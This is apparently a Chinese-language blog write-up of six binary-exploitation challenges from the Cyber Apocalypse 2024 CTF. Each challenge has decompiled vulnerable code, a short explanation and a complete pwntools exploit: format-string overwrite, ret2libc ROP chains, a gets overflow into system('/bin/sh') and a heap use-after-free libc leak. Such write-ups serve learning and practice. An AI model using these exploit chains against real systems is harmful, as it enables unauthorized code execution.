nyyyddddn

CyberApocalypse_2024_Hacker_Royale_wp

2024/03/15

Delulu

格式化字符串改低位两个字节就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v4[2]; // [rsp+0h] [rbp-40h] BYREF
__int64 buf[6]; // [rsp+10h] [rbp-30h] BYREF

buf[5] = __readfsqword(0x28u);
v4[0] = 322419390LL;
v4[1] = (__int64)v4;
memset(buf, 0, 32);
read(0, buf, 0x1FuLL);
printf("\n[!] Checking.. ");
printf((const char *)buf);
if ( v4[0] == 322420463 )
delulu();
else
error("ALERT ALERT ALERT ALERT\n");
return 0;
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "83.136.255.150"
PORT = 53288

elf = context.binary = ELF('./delulu')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

payload = "%" + str(0xBEEF)+ "c%7$hn"

# ru(">>")
time.sleep(0.5)
s(payload)

p.interactive()

Writing on the Wall

过了这个cmp 就能拿到flag了,然后输入有七个字节,刚刚好能覆盖s2的低位一个字节,strcmp是根据 \x00来判断字符串结尾的,那输入 七个 \x00,cmp就能过了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[6]; // [rsp+Ah] [rbp-16h] BYREF
char s2[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v6; // [rsp+18h] [rbp-8h]

v6 = __readfsqword(0x28u);
*(_QWORD *)s2 = 0x2073736170743377LL;
read(0, buf, 7uLL);
if ( !strcmp(buf, s2) )
open_door();
else
error("You activated the alarm! Troops are coming your way, RUN!\n");
return 0;
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "83.136.253.78"
PORT = 37705

elf = context.binary = ELF('./writing_on_the_wall')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()


payload = b'\x00' * 7


time.sleep(1)
# g(p)
s(payload)

p.interactive()

Pet Companion

ret2libc

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 buf[8]; // [rsp+0h] [rbp-40h] BYREF

setup(argc, argv, envp);
memset(buf, 0, sizeof(buf));
write(1, "\n[!] Set your pet companion's current status: ", 0x2EuLL);
read(0, buf, 0x100uLL);
write(1, "\n[*] Configuring...\n\n", 0x15uLL);
return 0;
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "94.237.55.185"
PORT = 59050

elf = context.binary = ELF('./pet_companion')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()


# 0x000000000040073c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040073e : pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000400740 : pop r14 ; pop r15 ; ret
# 0x0000000000400742 : pop r15 ; ret
# 0x0000000000400604 : pop rbp ; jmp 0x400590
# 0x000000000040057b : pop rbp ; mov edi, 0x601010 ; jmp rax
# 0x000000000040073b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040073f : pop rbp ; pop r14 ; pop r15 ; ret
# 0x0000000000400588 : pop rbp ; ret
# 0x0000000000400743 : pop rdi ; ret
# 0x0000000000400741 : pop rsi ; pop r15 ; ret
# 0x000000000040073d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret

write_plt = elf.plt['write']
write_got = elf.got['write']
main = 0x40064A

rdi = 0x400743
rsi_r15 = 0x400741
ret = 0x00000000004004de

payload = flat([
b'a' * 0x48,
rsi_r15,write_got,0,write_plt,main
])
sla("status:",payload)

ru("\n[*] Configuring...\n\n")
libc_base = u64(r(6).ljust(8,b'\x00')) - libc.sym['write']
success(f"libc_base ->{hex(libc_base)}")


system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))



payload = flat([
b'a' * 0x48,
rdi,binsh,system
])
sla("status:",payload)




p.interactive()

Rocket Blaster XXX

里面有一个和调用约定 传参顺序相关的小游戏,过了那个小游戏拿到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 buf[4]; // [rsp+0h] [rbp-20h] BYREF

banner(argc, argv, envp);
memset(buf, 0, sizeof(buf));
fflush(_bss_start);
printf(
"\n"
"Prepare for trouble and make it double, or triple..\n"
"\n"
"You need to place the ammo in the right place to load the Rocket Blaster XXX!\n"
"\n"
">> ");
fflush(_bss_start);
read(0, buf, 0x66uLL);
puts("\nPreparing beta testing..");
return 0;
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "94.237.51.96"
PORT = 40975

elf = context.binary = ELF('./rocket_blaster_xxx')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()


rdi = 0x000000000040159f
rsi = 0x000000000040159d
rdx = 0x000000000040159b

fill_ammo = 0x4012FA

payload = flat([
b"a" * 0x28,
rdi,0x0DEADBEEF,rsi,0x0DEADBABE,rdx,0x0DEAD1337,fill_ammo
])


# g(p)
sa(">> ",payload)


print(len(payload))
p.interactive()

sound_of_silence

1
2
3
4
5
6
7
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[32]; // [rsp+0h] [rbp-20h] BYREF

system("clear && echo -n '~The Sound of Silence is mesmerising~\n\n>> '");
return gets(v4, argv);
}

没有输出函数,但是可以通过这一部分去利用

1
2
.text:0000000000401169 48 89 C7                      mov     rdi, rax                        ; command
.text:000000000040116C E8 DF FE FF FF call _system

gets完后rdi还是指向buf,如果buf中包含 /bin/sh的话,就会变成 system binsh,不过很奇怪,call system system里面会取buf后边部分,可能是rbp的问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "94.237.50.48"
PORT = 34509

elf = context.binary = ELF('./sound_of_silence')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


p = connect()


target = 0x401169
ret = 0x000000000040101a

payload = b'a' * 0x20 + b'/bin/sh\x00'
payload += p64(target)


# g(p)
sla(">> ",payload)

p.interactive()

deathnote

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned __int64 v3; // rax
__int64 v5[12]; // [rsp+10h] [rbp-60h] BYREF

v5[11] = __readfsqword(0x28u);
memset(v5, 0, 80);
while ( 1 )
{
while ( 1 )
{
v3 = menu();
if ( v3 != 42 )
break;
_(v5);
}
if ( v3 > 0x2A )
{
LABEL_13:
error("Invalid choice!\n");
}
else if ( v3 == 3 )
{
show(v5);
}
else
{
if ( v3 > 3 )
goto LABEL_13;
if ( v3 == 1 )
{
add(v5);
}
else
{
if ( v3 != 2 )
goto LABEL_13;
delete(v5);
}
}
}
}

delete这里存在一个uaf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
unsigned __int64 __fastcall delete(__int64 a1)
{
unsigned __int8 num; // [rsp+17h] [rbp-9h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf(aPage);
num = read_num();
if ( (unsigned __int8)check_idx(num) == 1 )
{
if ( *(_QWORD *)(8LL * num + a1) )
printf("%s\nRemoving page [%d]\n\n%s", "\x1B[1;32m", num, "\x1B[1;36m");
else
error("Page is already empty!\n");
free(*(void **)(8LL * num + a1));
}
return v3 - __readfsqword(0x28u);
}

,然后存在一个backdoor函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
unsigned __int64 __fastcall _(__int64 a1)
{
void (__fastcall *v2)(_QWORD); // [rsp+18h] [rbp-18h]
unsigned __int64 v3; // [rsp+28h] [rbp-8h]

v3 = __readfsqword(0x28u);
puts("\x1B[1;33m");
cls();
printf(asc_2750, "\x1B[1;31m", "\x1B[1;33m", "\x1B[1;31m", "\x1B[1;33m", "\x1B[1;36m");
v2 = (void (__fastcall *)(_QWORD))strtoull(*(const char **)a1, 0LL, 16);
if ( v2 || **(_BYTE **)a1 == 48 || *(_BYTE *)(*(_QWORD *)a1 + 1LL) == 120 )
{
if ( !*(_QWORD *)a1 || !*(_QWORD *)(a1 + 8) )
{
error("What you are trying to do is unacceptable!\n");
exit(1312);
}
puts(aExecuting);
v2(*(_QWORD *)(a1 + 8));
}
else
{
puts("Error: Invalid hexadecimal string");
}
return v3 - __readfsqword(0x28u);
}

通过unsortedbin 泄露libc后,保证chunklist1中udata的位置是system的地址,2的内容是binsh,就能执行system binsh,其中有一个 0x的判断 但是strtoull(*(const char **)a1, 0LL, 16); 这里可以绕过,输入一个不包含 0x的十六进制数字字符串就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "83.136.255.230"
PORT = 34980

elf = context.binary = ELF('./deathnote')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])



def add(idx,size,content):
sla("💀","1")
sla("💀",str(size))
sla("💀",str(idx))
sa("💀",content)

def delete(idx):
sla("💀","2")
sla("💀",str(idx))

def show(idx):
sla("💀","3")
sla("💀",str(idx))

def exit():
sla("💀","42")

p = connect()


for i in range(9):
add(i,0x80,"AAAA")

for i in range(8):
delete(i)

# unsorted bin leak libc
show(7)
ru("Page content: ")
libc_base = u64(rl()[:-1].ljust(8,b'\x00')) - (0x73947561ace0 - 0x739475400000)

# leak heap_base
show(0)
ru("Page content: ")
key = u64(rl()[:-1].ljust(8,b'\x00'))
heap_base = key << 12

success(f"libc_base ->{hex(libc_base)}")
success(f"key ->{hex(key)}")
success(f"heap_base ->{hex(heap_base)}")

system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))

print(str(hex(system))[2:])
payload = p64(0x68732f6e69622f)

add(0,0x80,str(hex(system))[2:])
add(1,0x80,payload)

# g(p)
exit()


p.interactive()

CATALOG
  1. 1. Delulu
  2. 2. Writing on the Wall
  3. 3. Pet Companion
  4. 4. Rocket Blaster XXX
  5. 5. sound_of_silence
  6. 6. deathnote